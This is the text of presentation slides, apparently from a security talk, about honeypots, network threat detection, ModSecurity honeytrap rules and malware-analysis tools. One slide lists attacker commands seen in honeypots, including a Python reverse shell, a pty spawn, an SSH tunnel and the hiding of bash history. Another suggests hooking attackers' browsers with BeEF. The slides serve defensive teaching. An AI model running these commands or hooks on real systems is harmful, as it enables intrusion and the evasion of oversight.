  • 2. # Leszek Miś ● Founder @ Defensive-Security.com ● Chief Security Architect @ Collective-Sense ● Offensive Security Certified Professional ● RHCA/RHCSS/RHCX/Sec+ ● ISSA/OWASP Poland Member ● Focusing mostly on: – Linux & Network Security – Web Application Security – Penetration testing – Hardened IT Infrastructure (SSO/IdM/HIDS/) – Linux forensics
  • 4. # Needs ● Active defense ● Early infrastructure enumeration phase detection ● Active/passive detection of vulnerable systems/services/apps ● Creating baseline profiles: – High level network traffic profiling – Systems and network devices behavioral profiling ● Security incident response evaluation ● Forensics data analysis
  • 5. # Needs ● Correlation and active event analysis of multiple layers: – Netflow + Passive DNS: • Network billing • Who?, what?, when?, where? + whois, nmap, etc.
  • 6. # Needs ● Correlation and active event analysis of multiple layers: – Netflow / Passive DNS – Deep Packet Inspection / Full Packet Capture: • Glibc DNS resolver bug • Heartbleed / Shellshock / Poodle • SSL Self-signed / MiTM • Metasploit detection • Tunneling / pivoting, sending files through ICMP/DNS packets • Powershell attacks • Pass-The-Hash attack • Port scanning • IP reputation • TOR detection • Brute force attacks • DHCP Rouge Server • Fake WLAN AP
  • 7. # Needs ● Correlation and active event analysis of multiple layers: – Netflow / Passive DNS – Deep Packet Inspection / Full Packet Capture – Logs/events mgmt: • OS: auditd, SELinux/Apparmor, systemtap, sysdig • Services: crashes • Web application • Switches and routers + OSSEC, Splunk, AlienVault, ELK.
  • 8. # Needs ● Correlation and active event analysis of multiple layers: – Netflow / Passive DNS – Deep Packet Inspection / Full Packet Capture – Logs/events mgmt – Memory forensics: • Volatility Framework, GRR – critical systems? – daily ? weekly? monthly? quarterly? "To hack companies, persistence isn't needed since companies never sleep. I always use Duqu 2 style "persistence", executing in RAM on a couple high-uptime servers." - how Hacking Team was compromised.
  • 10. # Honeypots ● Supporters and opponents;) ● Supplementing the prior techniques ● To see what they do when they get in and how they get in ● Do it right: ● Multiple honey-hosts somehow connected together ● Isolated, hardened & firewalled (Apate LKM/sysdig/systemtap) ● Low hanging fruits, but not too low:> ● Active observation: ● Network pivoting between subnets ● Commands, tricks, C&C IP, vulns, exploits ● Internally sending malicious payload, injecting code
  • 11. # Honeypots – tricks/commands ● echo </dev/tcp/10.0.0.1/23 ● ln -s .bash_history /dev/null ● ssh -f -N -L 4444:127.0.0.1:9000 -l superman 192.168.80.1 ● snapscreenshot -c1 -x1 ● python -c ‘import pty; pty.spawn(“/bin/sh”)’ ● python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,s ocket.SOCK_STREAM);s.connect(("fe80::42:acff:fe11:3%eth0" ,2222,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ● Scripts, shellcodes, binaries, lot of stuff
  • 12. # Honeypots - questions ● Placement: ● External net ● Local net ● Dedicated network/environemnt ● Active network monitoring options: ● Suricata/Snort/Bro-IDS/p0f ● Tcpdump/wireshark ● Environment: ● Bare metal ● VM and/or containers ● Sharing data?
  • 13. # Low interaction honeypots ● Simulating real services ● Detectable, incompleted ● The „feel” that connection behaviour is weird ● Just for observing moves ● Examples: ● SSH Kippo: ● userdb.txt: root:123456 ● server hostname: root@host3 ● service banner ● FS structure – auxiliary/scanner/ssh/detect_kippo normal ?
  • 14. # Low interaction honeypots ● Kippo Log Replay Alert Script
  • 15. # Low interaction honeypots ● Cowrie: ● Based on Kippo ● SFTP and SCP support for file upload ● Supports for SSH exec commands ● Saves downloaded files for inspection ● Amun: ● Emulates SMB vulns ● Mimics response and detects shellcode: ● Bindshell ● Reverse shell ● + cmd.exe
  • 16. # Low interaction honeypots ● Honeydrive – honeypot Linux distro: – Dionaea → SMB, FTP, TFTP, MySQL, SIP, SDP – InetSim → HTTP, SMTP, POP3, DNS, NTP, IRC... – Amun → SMB (SQL Slammer, Conficker) – Honeyd → virtual hosts, up 65535 on LAN – Glastopf, Wordpot, Shockpot – webapp honeypots – Espot/ElasticHoney – elasticsearch (CVE-2014-3120/CVE-2015- 1427) – Conpot - SCADA/ICS – Thug – honeyclient, mimicing the behavior of a web browser – PhoneyC + Kippo-Graph, Honeyd-Viz, DionaeaFR
  • 17. # Low interaction honeypots ● Portspoof by Piotr Duszyński: ● SYN+ACK for every port connection attempt ● Userspace, no root ● Signature database (>9000) ● Binds to only one port + iptables ● Attack the attackers: ● ex. exploits nmap http-domino-enum-pass NSE script Please, do not use it when you are using standard ports for your real services:>
  • 18. # High interaction honeypots ● Intentionally left almost-vulnerable toys:> ● For observing real attacks, require monitoring ● Able to detect 0-days ● Part of production, real VM/PHY: ● OS: ● some suid files, some CAP_* files, some hidden credentials ● Database: ● fake table in real DB instance, fake user ● Active Directory: ● fake Domain admin account for PTH detection ● Web application: ● fake, hidden admin=”false” form value, fake login panels, fake java applet ● Service proxy
  • 19. # High interaction honeypots ● Web application honeypot using modsecurity:
  • 20. # High interaction honeypots ● Web application honeypot using modsecurity: SecRule STREAM_OUTPUT_BODY "@rsub s/</form>/<input type="hidden" name="debug" value="false"></form>/" "id:'999009',phase:4,t:none,nolog,pass" SecRule ARGS:debug "!@streq false" "id:'999010',phase:2,t:none,log,block,msg:'HoneyTrap Alert: Fake HIDDEN Form Data Manipulated.',setvar:ip.malicious_client=1" ------ SecRule ARGS_POST:password "@pmFromFile honey-passwords.txt" "setenv:tag=suspicious,phase:2,id:'7',msg:'Honey-password value: % {matched_var}',log,auditlog,deny" – action: proxy:honeypot, redirect
  • 21. # High interaction honeypots ● Web application honeypot using modsecurity: ● We all do like beef, don’t we? ● Let’s inject some hook.js to the attackers!
  • 22. # High interaction honeypots ● HonSSH: ● Some kind of MiTM/Proxy server ● Two separate SSH connections between attacker and honeypot
  • 23. # HoneyStacks ● MHN – dedicated platform
  • 24. # HoneyStacks ● MHN: ● Community ● Sharing events data: opendata ● Stats: ● 42 countries ● >1.2M events per day ● ~ 3k honeypots ● ~ 270M events
  • 25. # HoneyStacks ● T-Pot – Multi-Honeypot Platform + http://sicherheitstacho.eu/
  • 26. # HoneyStacks ● Tango honeypot intelligence: ● Splunk based ● Session playlog ● GEO, session, time, files ● username/passwords ● Malware analysis
  • 27. # Honeypots ● Some other interesting sweet honeytools: ● Qebek – QEMU based ● Argos – emulator for capturing 0-day ● mitmproxy ● Ghost USB honeypot ● GasPOT - simulate a Veeder Root Gaurdian AST ● GridPOT – electric grid honeynets ● Karma / Fake AP / Real AP as honeyAP https://github.com/paralax/awesome-honeypots
  • 28. # When we got files, malware samples, then ● Peepdf: ● PDF file analysis ● Cuckoo Sandbox: ● Virus Total integration ● Yara: meta + string + condition ● Limon Sandbox: ● Linux malware analysis sandbox: ● Before, during and after execution ● Memrory, static, dynamic analysis
  • 29. # Summary ● Fun;-) ● Understand the intruder’s intentions ● Increased visibility ● Capture malware samples for analysis ● The correlation of different data sources is the key ● Slow down an attacker’s progress